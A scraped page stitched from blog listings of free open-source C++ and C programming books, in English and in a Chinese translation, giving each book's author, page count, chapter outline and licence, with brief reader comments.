- Function Templates – explores the syntactic peculiarities of templates. The notions of template type parameter, template non-type parameter, and function template are introduced and several examples of templates are provided
- Class Templates – constructing and using class templates is discussed
- Advanced Template Use – following a short overview of subtleties related to templates the main characteristics of template meta programming are introduced
The book is available in HTML, PDF, PostScript, and plain text. It’s freely distributable, and published under the terms of the GNU General Public License. |
 |
By Alan Ezust, Paul Ezust (656 pages)
This book starts with an introduction to the basic C++ elements, OO concepts, UML, and the core Qt classes. It moves on to higher-level programming ideas, Qt modules, and design patterns. The final part of the book examines important C++ features with rigour. There is good coverage on functions, inheritance and polymorphism.
The book is designed to be used in a university class, and assumes no C or C++ programming experience. It includes Qt examples, exercises, solutions, and lecture slides for instructors.
This book is part of Bruce Perens’ Open Source Series. All books in this series are released under the Open Publication License, v1.0 or later. |
 |
By Allen B. Downey (191 pages)
How To Think Like A Computer Scientist C++ version is a concise and gentle introduction to software design using the C++ programming language. Intended for would-be developers with no programming experience, this book starts with the most basic concepts and gradually adds new material at a pace that is comfortable to the reader.
This book providing a wealth of information on:
- Variables, expressions and statements
- Functions
- Conditionals and recursion
- Fruitful functions
- Iteration
- Strings
- Vectors
- Member functions
- Vectors of Objects
- Objects of Vectors
- Classes and invariants
- File Input/Output and apmatrixes
How to Think Like a Computer Scientist: C++ Version is a free textbook available under the Creative Commons Attribution-NonCommercial 3.0 Unported License. |
 |
By Jasmin Blanchette, Mark Summerfield (464 pages)
The latest stable release of Qt is version 5.8. This book teaches the reader how to write GUI programs using Qt 3, the last version of Qt 3 was released in 2004. But there is a lot of the book which still makes sense for Qt 4 and Qt 5.
C++ GUI Programming with Qt 3 assumes the reader has a rudimentary understanding of C++; this isn’t a book intended for a beginner.
The book introduces the reader to all the concepts and practices to program GUI applications using Qt. Central topics are given a thorough treatment, and there is some specialized and advanced material.
This book is part of Bruce Perens’ Open Source Series. All books in this series are released under the Open Publication License, v1.0 or later. |
 |
By Pat Morin (336 pages)
This book teaches the design and analysis of basic data structures and their implementation in C++. It covers the implementation and analysis of data structures for sequences (lists), queues, priority queues, unordered dictionaries, ordered dictionaries, and graphs. The author was motivated to offer undergraduate computer science a free way to study data structures. But this book is not intended to act as an introduction to the C++ programming language or the C++ Standard Template library. Instead, it should help programmers understand how STL data structures are implemented and why these implementations are efficient.
Chapters cover array-based lists, linked lists, skiplists, hash tables, binary trees including random binary search trees, scapegoat trees, and red-black trees. Later chapters examine heaps, sorting algorithms (comparison-based, counting sort, and radix sort), graphs, data structures for integers, and external memory searching.
The book and is released under a Creative Commons Attribution License. Read the book for free – released in HTML, PDF, and the book’s LaTeX, Java/C++/Python sources can be downloaded from GitHub. There is also a paperback version to buy. The book has been translated into Slovenian and Turkish. |
 |
By Julian Smart and Kevin Hock with Stefan CsomorBrifll (744 pages)
wxWidgets is a popular C++ library that lets developers create applications for Windows, Mac OS X, Linux and other platforms with a single code base. It supports a wide range of graphical libraries.
Following a brief introduction and getting started, the book’s chapters cover:
- Event handling
- Window basics
- Drawing and painting
- Handing input
- Window layout using sizers
- Using standard dialogs
- Creating custom dialogs
- Programming with images
- Clipboard and drag and drop
- Advanced window classes
- Data structure classes
- Files and streams
- Memory management, debugging and error checking
- Writing international applications
- Writing multithreaded applications
- Programming with wxSocket
- Working with documents and views
- Perfecting your application
This book is part of Bruce Perens’ Open Source Series. All books in this series are released under the Open Publication License, v1.0 or later. |
 |
By Jeremy Hansen (160 pages)
Chapters cover variables, literals and constants, output, input, data types and conversion, conditionals (if, else and else if, switch statements), strings, loops, arrays, blocks, functions and scope. Later chapters examine problem solving and troubleshooting, the preprocessor, advanced arithmetic, file I/O, pointers, dynamic data, classes and abstraction, separation compilation and STL.
Most of the book was written during a hackathon weekend by 25 Norwich University students. Certainly not flawless, but a good general text. It is released under a Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. The book is also available in print from Amazon. |
 |
By Brian Gough (144 pages)
An Introduction to GCC provides an introduction to the GNU C and C++ Compilers, gcc and g++, which are part of the GNU Compiler Collection (GCC).
This book explains how to use the compiler itself. Based on years of observation of questions posted on mailing lists, it guides the reader straight to the important options of GCC.
Chapters:
- Introduction
- Compiling a C program – describes how to compile C programs using gcc. Programs can be compiled from a single source file or from multiple source files, and may use system libraries and header files
- Compilation options – describes other commonly-used compiler options available in GCC. These options control features such as the search paths used for locating libraries and include files, the use of additional warnings and diagnostics, preprocessor macros and C language dialects
- Using the preprocessor – describes the use of the GNU C preprocessor cpp, which is part of the GCC package. The preprocessor expands macros in source files before they are compiled. It is automatically called whenever GCC processes a C or C++ program
- Compiling for debugging – provides the -g debug option to store additional debugging information in object files and executables. This debugging information allows errors to be traced back from a specific machine instruction to the corresponding line in the original source file
- Compiling with optimization – GCC is an optimizing compiler. It provides a wide range of options which aim to increase the speed, or reduce the size, of the executable files it generates
- Compiling a C++ program – describes how to use GCC to compile programs written in C++, and the command-line options specific to that language
- Platform-specific options – describes some of the options available for common platforms: Intel and AMD x86 options, x86 extensions, x86 64-bit processors, DEC Alpha options, SPARC options, POWER/PowerPC options, Multi-architecture support, and floating-point issues
- Troubleshooting – GCC provides several help and diagnostic options to help troubleshoot problems with the compilation process
- Compiler-related tools – describes a number of tools which are useful in combination with GCC. These include the GNU archiver ar, for creating libraries, and the GNU profiling and coverage testing programs, gprof and gcov
- How the compiler works – describes in more detail how GCC transforms source files to an executable file. Compilation is a multi-stage process involving several tools, including the GNU Compiler itself (through the gcc or g++ frontends), the GNU Assembler as, and the GNU Linker ld. The complete set of tools used in the compilation process is referred to as a toolchain
- Examining compiled files – describes several useful tools for examining the contents of executable files and object files
- Common error messages – describes the most frequent error and warning messages produced by gcc and g++. Each case is accompanied by a description of the causes, an example and suggestions of possible solutions
- Getting help – if readers encounters a problem not covered by this introduction, there are several reference manuals which describe GCC and language-related topics in more detail
This book is published under the GNU Free Documentation License. |
A great selection, thank you so much! Just a minor bug: the link to “Open Data Structures” leads to some other tutorial. Should it be http://opendatastructures.org instead?
Thanks for letting me know. The bug has been fixed!
What are the dates of the updates of those books? are they covering some modern C++ stuff? C++11/14? etc? I worry that not…
I’ll leave that as an exercise for the reader to look up. Enjoy!
Thanks for the great collections
Thanks a lot, dude! Actually I’m a senior year student, and I want to improve my skills using C++ (I’ve used C#,Python,Java and PHP) so this would be helpful!
Much obliged, fella! Really I’m a senior year understudy, and I need to enhance my abilities utilizing C++ (I’ve utilized C#,Python,Java and PHP) so this would be useful! |
8,251 | 通过这九本开源好书学习 C 语言 | https://www.ossblog.org/learn-c-programming-with-9-excellent-open-source-books/ | 2017-03-02T10:30:00 | [
"编程",
"书籍"
] | https://linux.cn/article-8251-1.html | 书是非常私人的东西,编程类书籍也不例外。我们都是通过阅读书籍来帮助掌握某种语言的基本知识。随后又通过阅读书籍来全面探索这门语言的灵活性。我仔细考察了一些我最喜爱的 C 语言书籍,并从其中选出了对我意义最大的九本。

C 语言是一种通用的、面向过程的高级编程语言。也是最具流行度和影响力的编程语言之一。该语言在设计时就被设计为可以通过编译器进行编译,以此来对内存进行底层操作、高效地执行机器指令以及在运行时仅需要最小的支持。很多很多编程语言都得益于 C 语言, C 语言就像是编程界的通用语言一样。
C 语言非常易懂。它允许程序员能够以一种清晰、简单、符合逻辑的方式来组织程序。这是一种非常灵活、实用并且简洁的语言,同时它还具有非常容易读懂的语法。使用 C 语言编写的代码运行非常快。可以非常简单地操作计算机的底层设施。通过编译器的指令可以允许我们为不同体系结构的设备生成同一个版本的程序。
C 语言是自由的。因此学习 C 语言的书籍也是体现了其自由性。快来看看我挑选的开源书籍,有没有哪一本能够吸引你?好好享受它吧!
### 《 <ruby> C 语言 <rp> ( </rp> <rt> The C Book </rt></ruby>》

《<ruby> <a href="http://publications.gbdirect.co.uk/c_book/"> C 语言 </a> <rt> The C Book </rt></ruby>》这本书是为那些已经具备使用现代高级面向过程编程语言的程序员设计的。这本书专注于那些 C 语言的特有之处。尤其是使用 C 语言的方式是这本书所重点关注的。作者: Mike Banahan, Declan Brady 和 Mark Doran ,350 页
包含以下章节:
* 变量及运算法则介绍 – 介绍了 C 语言的基础知识, 包括关键字和标识符,变量声明,实数类型,整型,表达式和运算法则以及常量
* 控制流及逻辑表达式 – 这一章介绍了在 C 语言中可以用于控制程序流程的几种方法,包括一些尚未介绍的语句。 控制流,逻辑表达式以及奇怪的运算符。
* 函数 – 函数的类型, 递归,传参数以及链接
* 数组和指针 – 数组, 指针, 字符处理, sizeof 以及储存空间分配, 函数指针,包含指针的表达式,数组,`&`运算符以及函数声明
* 结构体数据类型 – 结构体, 联合体, 位字段, 枚举类型, 限定符、派生类型以及初始化
* 预处理器 – 预处理器是如何工作的及其相关指令
* C 语言中的一些特定内容 – 声明, 定义,`typedef`, `const` 和 `volatile`以及序列点
* 库 – 诊断, 字符处理, 本地化, 与具体实现相关的限制, 数学函数, 非局部跳转, 信号处理, 可变参数, 输入输出, 格式化 I/O, 字符 I/O, 无格式 I/O, 随机访问函数, 通用函数, 字符串处理, 日期和时间
* C 语言编写的完整程序 – 综合以上内容, main函数的参数, 解析程序参数, 模式匹配程序以及一个难度更大的程序
作者允许读者利用此书做任何他们想做的事情,只需说明作者和版权。经 Mike Banahan 确认,本书通过知识共享协议发布。
### 《<ruby> 风格的要素—— C 语言版 <rp> ( </rp> <rt> C Elements of Style </rt> <rp> ) </rp></ruby> 》

作者 Steve Oualline ,265页
《<ruby> <a href="http://www.oualline.com/books.free/style/index.html"> 风格的要素—— C 语言版 </a> <rp> ( </rp> <rt> C Elements of Style </rt> <rp> ) </rp></ruby>》是一本十分有用的编程风格指南,指导 C 和 C++ 程序员如何去编写可读性良好的,易懂的,易于维护的程序。不论你是一个学生还是专业程序员,你都能从这本书中提供的技巧和技术中获益,构建优雅可靠的代码。
这本书意在向读者们展示如何在你的程序中融入风格良好的代码。机器仅处理代码,而人类关注于注释。良好的编程风格与这两部分都有关。
我们的最终目标是构建设计良好,编写良好的代码,这种代码对于计算机来说是高效的,同时包含了精心编写的注释用于帮助人类理解程序。这样一来,调试,维护和增强程序,都变得更加容易了。最终还提升了代码的可读性,简洁性,可靠性和可维护性。
在本书中,你可以找到有关编写注释,程序头,变量命名,语句格式化,语句细节,编写预处理器命令,组织目录和创建makefile的指南。
本书通过知识共享协议发布。
### 《<ruby> 编写你自己的 Lisp 语言 <rp> ( </rp> <rt> Build Your Own Lisp </rt> <rp> ) </rp></ruby>》

作者 Daniel Holden ,212页
在学习 C 语言的同时学习如何创造你自己的编程语言——一个最简的 Lisp 语言(仅用不到1000行代码)。
《<ruby> <a href="http://buildyourownlisp.com/"> 编写你自己的 Lisp 语言 </a> <rp> ( </rp> <rt> Build Your Own Lisp </rt> <rp> ) </rp></ruby>》这本书是为两种人写的,一种是想要学习 C 语言的人,另一种是想要知道如何创建一门语言的人。本书并不适合作为第一本入门书籍,因为你需要一些编程经验才能读懂它的内容。
本书基于[知识共享署名-非商业性使用-3.0 未本地化版本](https://creativecommons.org/licenses/by-nc/3.0/)协议发布
纸质版可以在 Amazon 上购买。
### 《<ruby> GNU C 语言参考手册 <rp> ( </rp> <rt> The GNU C Reference Manual </rt> <rp> ) </rp></ruby>》

作者 Trevis Rothwell, James Youngman ,91页
《<ruby> <a href="https://www.gnu.org/software/gnu-c-manual/"> GNU C 语言参考手册 </a> <rp> ( </rp> <rt> The GNU C Reference Manual </rt> <rp> ) </rp></ruby>》是一本 C 语言参考手册,意在写明 C89,C99 标准以及当前 GNU 对标准 C 语言的扩展情况。本书并不适合新手阅读。
包含以下章节:
* 词法元素——这部分内容描述了预编译之后,组成 C 语言代码的词法元素。包括 5 种:关键字,标识符,常量,操作符和分隔符
* 数据类型——研究基础的数据类型,枚举,联合体,结构体,数组,指针,不完全类型,类型修饰词,储存类型修饰词以及重命名类型
* 表达式和操作符 —— 还介绍了自增/自减,算数操作符,复共轭性,比较操作符,逻辑运算符,位移,位运算符,指针运算符,`sizeof`,类型转换等等。
* 语句 —— 标签,表达式,`if` 语句,`switch` 语句,`while` 语句,`do` 语句,`for` 语句,代码块,`null` 语句,`goto` 语句,`break` 语句,`continue` 语句,`return` 语句以及 `typedef` 语句
* 函数 —— 学习函数声明,函数定义,函数调用,参数,变长参数列表,通过指针调用函数,`main` 函数,递归函数等等。
* 程序结构和定义域 —— 从宏观上来看程序
* 一个例程 —— 一个用 C 语言编写的完整程序,包含 C 语言源文件和头文件。这个程序是一个典型“hello world”程序的扩展版,它向我们展示了在 GNU FSF 项目中 C 语言是如何工作的。
本书基于 GNU Free Documentation License Version 1.3 及其更新版本发布。
### 《<ruby> GNU C 语言编程教程 <rp> ( </rp> <rt> The GNU C Programming Tutorial </rt> <rp> ) </rp></ruby>》

作者 Mark Burgess, Ron Hale-Evans ,290页
《<ruby> <a href="http://www.crasseux.com/books/ctut.pdf"> GNU C 语言编程教程 </a> <rp> ( </rp> <rt> The GNU C Programming Tutorial </rt> <rp> ) </rp></ruby>》以逻辑顺序向读者介绍了 C 语言的基本内容。本书内容涵盖了 C 语言的全部主要内容的细节以及如何使用 C 语言编程,特别强调了GNU/Linux编译器以及相关软件。
一些章节主要介绍了函数,变量以及声明,作用域,表达式和操作符,参数,指针,判定,循环,数组,字符串,输入输出等等。
本书基于 GNU Free Documentation License Version 1.1 版发布。
### 《<ruby> C 语言基础 <rp> ( </rp> <rt> Essential C </rt> <rp> ) </rp></ruby>》

作者 Nick Parlante ,45页
《<ruby> <a href="http://cslibrary.stanford.edu/101/EssentialC.pdf"> C 语言基础 </a> <rp> ( </rp> <rt> Essential C </rt> <rp> ) </rp></ruby>》这份简短的文档解释了 C 语言全部的常用特性和技术。这份文档十分简洁,因此它的目标人群是已经具有其他编程语言背景的人。
内容包括变量,整型,浮点型,类型提升,截断,操作符,控制结构(`if`,`while`,`for`),函数,数值参数,引用参数,结构体,指针,数组,预处理器以及 C 语言标准库函数。
目录:
* 简介
* 基础类型与运算符
* 控制结构
* 复杂数据类型
* 函数
* 杂项
* 高级数组与指针
* 运算符和标准库
根据作者的描述,我们得知这是一本基于开源协议发布的书籍。
### 《<ruby> Beej 的 C 语言教程 <rp> ( </rp> <rt> Beej’s Guide to C Programming </rt> <rp> ) </rp></ruby>》

作者 Brian “Beej” Hall ,130 pages
《<ruby> <a href="http://beej.us/guide/bgc/"> Beej 的 C 语言教程 </a> <rt> Beej’s Guide to C Programming </rt></ruby>》试图为那些心存困惑的读者带来一种仅能通过纯粹 C 语言编程而产生的快感。
章节:
* 构建程序的基本结构块
* 变量,表达式和,语句。变量就是一个数字的名字——一个 C 语言表达式可以包含其他的表达式以及运算符。文章还介绍了`if`,`while`,`do while`以及程序重复执行的`for`语句。
* 函数——当程序块变得很大,或是当这些程序块用来执行一些特定的工作时,我们会把它们封装到函数中。
* 变量(续篇)——探讨了变量的作用域和储存类型
* 指针——它们是数据在内存中的地址。就像一个整型的值可以是12,一个指针的值就是数据在内存中的地址
* 结构体——结构体允许你将逻辑上相关的变量分组。随后你可以将其作为一个整体来使用。
* 数组——一组相关数据的线性集合
* 字符串—— C 语言中的字符串就是内存中的一组连续的比特,包含了一组字符
* 动态内存——探讨了malloc(), free(), realloc() 和 calloc() 函数
* 更多内容——指针运算,`typedef`,枚举,结构体声明,命令行参数,多维数组,类型转换和类型提升,不完整类型,`void`指针,`NULL`指针和`static`关键字
* 标准输入输出库——用来进行文件的读写。
* 字符串操作——用来查找子串的函数,连接字符串的函数,获取字符串长度的函数,等等。
* 算数——一些可以满足你基本算数需求的函数。
本书基于[知识共享署名-非商业性使用-禁止演绎 3.0 未本地化版本](https://creativecommons.org/licenses/by-nc-nd/3.0/deed.zh)协议发布。
### 《<ruby> 现代 C 语言 <rp> ( </rp> <rt> Modern C </rt> <rp> ) </rp></ruby>》

作者 Jens Gustedt ,310页
《<ruby> <a href="http://icube-icps.unistra.fr/img_auth.php/d/db/ModernC.pdf"> 现代 C 语言 </a> <rp> ( </rp> <rt> Modern C </rt> <rp> ) </rp></ruby>》鼓励读者逐级探索 C 语言的特性。内容一共分为如下五层境界:
* 第一层——使读者了解最基本的 C 语言程序。了解使用 C 语言的目的和数据结构,以及如何去使用它们
* 第二层——详细的说明了大部分主要概念以及特性,包括控制结构,数据类型操作符和函数。这一级的主要目的是让读者能够对于这些运行程序必备的知识,有更深刻的理解。
* 第三层——进入 C 语言的核心部分。详细的解释了指针,让你熟悉 C 语言的内存模型,并且让你了解大多数 C 语言库的接口
* 第四层——深入理解一些特定的主题。比如性能,重入,原子性,线程及泛型编程
* 第五层——探讨了作者对这门语言未来发展趋势的理解
本书基于[知识共享署名-非商业性使用-禁止演绎 3.0 未本地化版本](https://creativecommons.org/licenses/by-nc-nd/3.0/deed.zh)协议发布
### 《<ruby> <a href="http://www.network-theory.co.uk/docs/gccintro/"> GCC 简介 </a> <rp> ( </rp> <rt> An Introduction to GCC </rt> <rp> ) </rp></ruby>》

作者 Brian Gough ,144页
《<ruby> <a href="http://www.network-theory.co.uk/docs/gccintro/"> GCC 简介 </a> <rp> ( </rp> <rt> An Introduction to GCC </rt> <rp> ) </rp></ruby>》介绍了 GNU C 语言和 C++编译器——gcc 和 g++,它们是 GNU 编译器套装(GCC)的一部分。
本书介绍了如何使用编译器。通过多年以来对邮件列表中的问题的观察,本书带领读者直击 GCC 的重要内容。
章节介绍:
* 编译c程序——介绍了如何使用 gcc 来编译 C 语言程序。单个文件或多个文件均可以编译,也可以使用操作系统函数和头文件。
* 编译选项——介绍了 gcc 中一些常用的编译选项。这些参数控制一些功能,例如搜索库函数和头文件的路径,提供额外的编译告警和诊断。预处理宏和 C 语言方言。
* 使用预处理器——描述了cpp(GNU C preprocessor)的使用方法,cpp 是 GCC 的一部分。预处理器会在编译前将代码中的宏展开,当 GCC 处理 c 或者 c++ 代码时,预处理器会自动被调用。
* 编译带有调试信息的程序——提供了一个`-g`选项用以在中间文件和可执行文件中存储额外的调试信息。这些调试信息使得我们可以追踪错误,将机器指令中的问题定位到源代码中。
* 优化编译——GCC 是一个优化过的编译器。它提供了很多选项,可以加速编译或是减少编译后文件的体积。
* 编译C++程序——介绍了如何使用 GCC 编译 C++ 程序以及该语言可以使用的命令行选项。
* 平台相关选项——介绍了一些常见平台可以使用的选项
* 排错——GCC提供了一些帮助和诊断选项用于帮助我们定位编译过程中出现的问题。
* 编译器相关工具——介绍了 GCC 编译过程中会用到的一些有用的工具。包括用来创建库的 GNU 归档工具 ar,GNU 性能和覆盖率测试程序 gprof 和 gcov
* 编译器是如何工作的——详细介绍了 GCC 是如何把源文件编译为可执行文件的。编译是一个多阶段过程,涉及很多工具,包括 GNU 编译器本身,GNU 汇编器,以及 GNU 链接器。在编译过程中使用的各种工具,我们统称为编译链。
* 检查编译后的文件——介绍了一些用来检查可执行文件和 obj 文件内容的工具。
* 常见错误信息——介绍了 gcc 和 g++ 产生的最常见的错误和告警信息。每种情况都带有原因分析,样例以及建议的解决办法。
* 获取帮助——如果读者遇到了书中没有提到的问题,还有很多介绍GCC和语言的手册可以参考。
本书基于 GNU Free Documentation 协议发布
---
很多 C 语言书籍都可以免费下载,但是可惜的是它们并没有以开源协议来发布,或其基于何种协议并没有明确说明。以下对其进行介绍,排名不分先后:
* 《<ruby> <a href="http://www.tti.unipa.it/~ricrizzo/KS/Data/RMiles/contents.html"> C编程导论 </a> <rp> ( </rp> <rt> Introduction to C Programming </rt> <rp> ) </rp></ruby>》 – 作者 Rob Miles
* 《<ruby> <a href="http://www.coding-guidelines.com/cbook/cbook1_2.pdf"> 新标准 C 语言 </a> <rp> ( </rp> <rt> The New Standard C: An Economic and Cultural Commentary </rt> <rp> ) </rp></ruby>》– 作者 Derek M. Jones
* 《<ruby> <a href="http://www.cs.rit.edu/~ats/books/ooc.pdf"> 使用标准 C 语言进行面向对象编程 </a> <rp> ( </rp> <rt> Object-Oriented Programming with ANSI-C </rt> <rp> ) </rp></ruby>》– 作者 Axel-Tobias Schreiner
* 《<ruby> <a href="http://www.duckware.com/bugfreec/index.html"> 编写零缺陷的 C 语言代码 </a> <rp> ( </rp> <rt> Writing Bug-Free C Code </rt> <rp> ) </rp></ruby>》– 作者 Jerry Jongenius
最后,如果你想买一本权威参考书,请认准《<ruby> <a href="https://www.amazon.cn/gp/product/B0011425T8/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=536&creative=3200&creativeASIN=B0011425T8&linkCode=as2&tag=vastwork-23"> C 程序设计语言 </a> <rp> ( </rp> <rt> The C Programming Language </rt> <rp> ) </rp></ruby>》。这本书非常简练,不适合新手,但是被奉为经典。
| 200 | OK |  |
By Mike Banahan, Declan Brady and Mark Doran (350 pages)
The C Book is designed for programmers who already have some experience of using a modern high-level procedural programming language. The book concentrates on the things that are special to C. In particular, it is the way that C is used which is focused on.
Chapters include:
- An Introduction to C
- Variables and Arithmetic – introduces some of the fundamentals of C, including keywords and identifiers, declaration of variables, real types, integral types, expressions and arithmetic, and constants
- Control of Flow and Logical Expressions – looks at the various ways that the control of flow statements can be used in a C program, including some statements that have not been introduced so far. Control of flow, more logical expressions, and strange operators
- Functions – the type of functions, recursion and argument passing, and linkage
- Arrays and Pointers – arrays, pointers, character handling, sizeof and storage allocation, pointers to functions, expressions involving pointers, arrays, the & operator and function declarations
- Structured Data Types – structures, unions, bitfields, enums, qualifiers and derived types, and initialization
- The Preprocessor – how the preprocessor works, and directives
- Specialized Areas of C – declarations, definitions and accessibility, typedef, const and volatile, and sequence points
- Libraries – diagnostics, character handling, localization, limits, mathematical functions, non-local jumps, signal handling, variable numbers of arguments, input and output, formatted I/O, character I/O, unformatted I/O, random access functions, general utilities, string handling, and date and time
- Complete Programs in C – putting it all together, arguments to main, interpreting program arguments, a pattern matching program, and a more ambitious example
The authors give the reader permission to do anything they want with the book provided there is an acknowledgement of the authors and their copyright. From what Mike Banahan has confirmed, the book is effectively under the Creative Commons License. |
 |
By Steve Oualline (265 pages)
C Elements of Style is a useful guide which covers the principals of good programming style, teaching C and C++ programmers how to write code that can be easily read, understood, and maintained by others. Whether you are a student or professional programmer, you will benefit from the many tips and techniques for constructing elegant, reliable code.
The book attempts to show readers how to build a good programming style into your code. Since computer reads only the code and the human concentrates on the comments, a good programming style pertains to both parts of a program.
The ultimate goal is to build a well-designed, well-written code which not only make an effective use of the computer and but also contains careful constructed comments to help humans understand it. This condition will ease the debugging, maintenance and enhancement process, which will eventually improve the readability, portability, reliability and maintainability of your code.
Inside, you will find guidelines on writing comments, program heading, determining variable names, statement formatting, statement details, writing preprocessor, organizing directories and creating makefile.
This book is published under the Creative Commons License. |
 |
By Daniel Holden (212 pages)
Learn the C programming language and at the same time learn how to build your very own programming language, a minimal Lisp, in under 1000 lines of code.
This book is for anyone wanting to learn C, or who has once wondered how to build their own programming language. It is not designed as a first programming language book, as you need some programming experience to make your way through the content.
Build Your Own Lisp is licensed under Creative Commons Attribution-NonCommercial-ShareAlike 3.0.
A paperback is available to purchase from Amazon. |
 |
By Trevis Rothwell, James Youngman (91 pages)
The GNU C Reference Manual is a reference for the C programming language and aims to document the 1989 ANSI C standard, the 1999 ISO C standard, and the current state of GNU extensions to standard C. It is not designed for new programmers.
Chapters cover:
- Lexical Elements – describes the lexical elements that make up C source code after preprocessing. These elements are called tokens. There are five types of tokens: keywords, identifiers, constants, operators, and separators
- Data Types – examines primitive data types, enumerations, unions, structures, arrays, pointers, incomplete types, type qualifiers, storage class specifiers, and renaming types
- Expressions and Operators – also looks at incrementing / decrementing, arithmetic operators, complex conjugation, comparison operators, logical operators, bit shifting, bitwise local operators, pointer operators, the sizeof operator, type casts, and more
- Statements – read about labels, expression statements, the if statement, the switch statement, the while statement, the do statement, the for statement, blocks, the null statement, the goto statement, the break statement, the continue statement, the return statement, and the typedef statement
- Functions – learn about function declarations, function definitions, calling functions, function parameters, variable length parameter lists, calling functions through function pointers, the main function, recursive functions, and more
- Program Structure and Scope – looks at the big picture
- A Sample Program – a complete program written in C, consisting of both a C source file and a header file. This program is an expanded version of the quintessential “hello world” program, and serves as an example of how to format and structure C code for use in programs for FSF Project GNU
The book is available under the terms of the GNU Free Documentation License, Version 1.3 or later. |
 |
By Mark Burgess, Ron Hale-Evans (290 pages)
The GNU C Programming Tutorial introduces the reader to the basic ideas in a logical order. It offers detailed coverage of each of the main elements of the C language and how to program in C, with special emphasis on the GNU/Linux compiler and associated software.
There are chapters devoted to functions, variables and declarations, scope, expressions and operators, parameters, pointers, decisions, loops, arrays, strings, input and output, and much more.
The GNU C Programming Tutorial is released under the GNU Free Documentation License, Version 1.1. |
 |
By Nick Parlante (45 pages)
This Stanford CS Education is a fairly brief document which explains all the common features and techniques for C. The coverage is pretty quick, so it is targeted at a programmer with a background in another language.
Topics include variables, int types, floating point types, promotion, truncation, operators, control structures (if, while, for), functions, value parameters, reference parameters, structs, pointers, arrays, the pre-processor, and the standard C library functions.
Table of Contents:
- Introduction
- Basic Types and Operators
- Control Structures
- Complex Data Types
- Functions
- Odds and Ends
- Advanced Arrays and Pointers
- Operators and Standard Library Reference
The author’s description indicates this book is issued under an open-source like license. |
 |
By Brian “Beej” Hall (130 pages)
Beej’s Guide to C Programming tries to lead the reader from complete and utter sheer lost confusion on to the sort of enlightened bliss that can only be obtained though pure C programming.
Chapters:
- Programming Building Blocks
- Variables, Expressions, and Statements – A variable is simply a name for a number. An expression in C consists of other expressions optionally put together with operators. Examines the if, while, do-while, and the for statements
- Building Blocks Revisited
- Functions – put some of those building blocks in their own functions when they become too large, or when they do a different thing than the rest of the code
- Variables, the Sequel – talks about variable scope and storage classes
- Pointers – they are the address of data. Just like an int can be 12, a pointer can be the address of data
- Structures – a construct that allows you to logically group variables into groups. You can then reference the group as a whole
- Arrays – a linear collection of related data
- Strings – a string in C is a sequence of bytes in memory that usually contains a bunch of letters
- Dynamic Memory – explores the malloc(), free(), realloc(), and calloc() functions
- More Stuff – topics include pointer arithmetic, typedef, enum, struct declarations, command line arguments, multidimensional arrays, casting and promotion, incomplete types, void pointers, NULL pointers, and static keywords
- Standard I/O Library – used for reading from and writing to files
- String Manipulation – find functions for pulling substrings out of strings, concatenating strings together, getting the length of a string, and more
- Mathematics – functions that will serve your general purpose mathematical needs
This book is licensed under the Creative Commons Attribution-Noncommercial- No Derivative Works 3.0 License. |
 |
By Jens Gustedt (310 pages)
Modern C seeks to motivate the reader to climb to higher levels of knowledge. The book is divided into five levels:
- First level – provides the reader with the very basics of C programs, their purpose, their structure, and how to use them
- Second level – details most principal concepts and features such as control structures, data types, operators and functions. It aims to provide the reader with a deeper understanding of the things that are going on with running programs
- Third level – goes to the heart of the C language. It fully explains pointers, familiarizes you with C’s memory model, and allows you to understand most of C’s library interface.
- Fourth level – goes into detail in specific topics, such as performance, reentrancy, atomicity, threads and type generic programming
- Fifth level – discusses the author’s ideas for a future development of C
This book is licensed under the Creative Commons Attribution-Noncommercial- No Derivative Works 3.0 License. |
 |
By Brian Gough (144 pages)
An Introduction to GCC provides an introduction to the GNU C and C++ Compilers, gcc and g++, which are part of the GNU Compiler Collection (GCC).
This book explains how to use the compiler itself. Based on years of observation of questions posted on mailing lists, it guides the reader straight to the important options of GCC.
Chapters:
- Introduction
- Compiling a C program – describes how to compile C programs using gcc. Programs can be compiled from a single source file or from multiple source files, and may use system libraries and header files
- Compilation options – describes other commonly-used compiler options available in GCC. These options control features such as the search paths used for locating libraries and include files, the use of additional warnings and diagnostics, preprocessor macros and C language dialects
- Using the preprocessor – describes the use of the GNU C preprocessor cpp, which is part of the GCC package. The preprocessor expands macros in source files before they are compiled. It is automatically called whenever GCC processes a C or C++ program
- Compiling for debugging – provides the -g debug option to store additional debugging information in object files and executables. This debugging information allows errors to be traced back from a specific machine instruction to the corresponding line in the original source file
- Compiling with optimization – GCC is an optimizing compiler. It provides a wide range of options which aim to increase the speed, or reduce the size, of the executable files it generates
- Compiling a C++ program – describes how to use GCC to compile programs written in C++, and the command-line options specific to that language
- Platform-specific options – describes some of the options available for common platforms: Intel and AMD x86 options, x86 extensions, x86 64-bit processors, DEC Alpha options, SPARC options, POWER/PowerPC options, Multi-architecture support, and floating-point issues
- Troubleshooting – GCC provides several help and diagnostic options to help troubleshoot problems with the compilation process
- Compiler-related tools – describes a number of tools which are useful in combination with GCC. These include the GNU archiver ar, for creating libraries, and the GNU profiling and coverage testing programs, gprof and gcov
- How the compiler works – describes in more detail how GCC transforms source files to an executable file. Compilation is a multi-stage process involving several tools, including the GNU Compiler itself (through the gcc or g++ frontends), the GNU Assembler as, and the GNU Linker ld. The complete set of tools used in the compilation process is referred to as a toolchain
- Examining compiled files – describes several useful tools for examining the contents of executable files and object files
- Common error messages – describes the most frequent error and warning messages produced by gcc and g++. Each case is accompanied by a description of the causes, an example and suggestions of possible solutions
- Getting help – if readers encounters a problem not covered by this introduction, there are several reference manuals which describe GCC and language-related topics in more detail
This book is published under the GNU Free Documentation License |
If you”re fond with the German language, you might be interested in the book “C von A bis Z”
I’m not fluent in German, and the book doesn’t appear to be open source, but thanks for your input.
[…] Learn C Programming With 9 Excellent Open Source Books […]
I think for learning the C language the best book is Balaguruswami is the best 🙂
Thanks for the sharing 🙂
C language training at CETPA
Learn C Programming Language Online
Hello Steve am Bhanu form Andhra Pradesh can you tell me how to write an article on computer languages like c,c++,java,android, python ect to publish can you help me from this..
Reply
Hi Bhanu
Sorry, I’ve literally no time to offer this type of support. All my time is focused on migrating LinuxLinks.com to a new system.
Thanks for the sharing
C language has been one of the toughest language to learn in my schooling days. After schooling I have migrated in networking industry and working with uninets.com.
thank you so much for the information, |
8,252 | 如何配置 VirtualBox 中的客户机与宿主机之间的网络连接 | http://www.tecmint.com/network-between-guest-vm-and-host-virtualbox/ | 2017-03-01T13:40:24 | [
"VirtualBox",
"虚拟机"
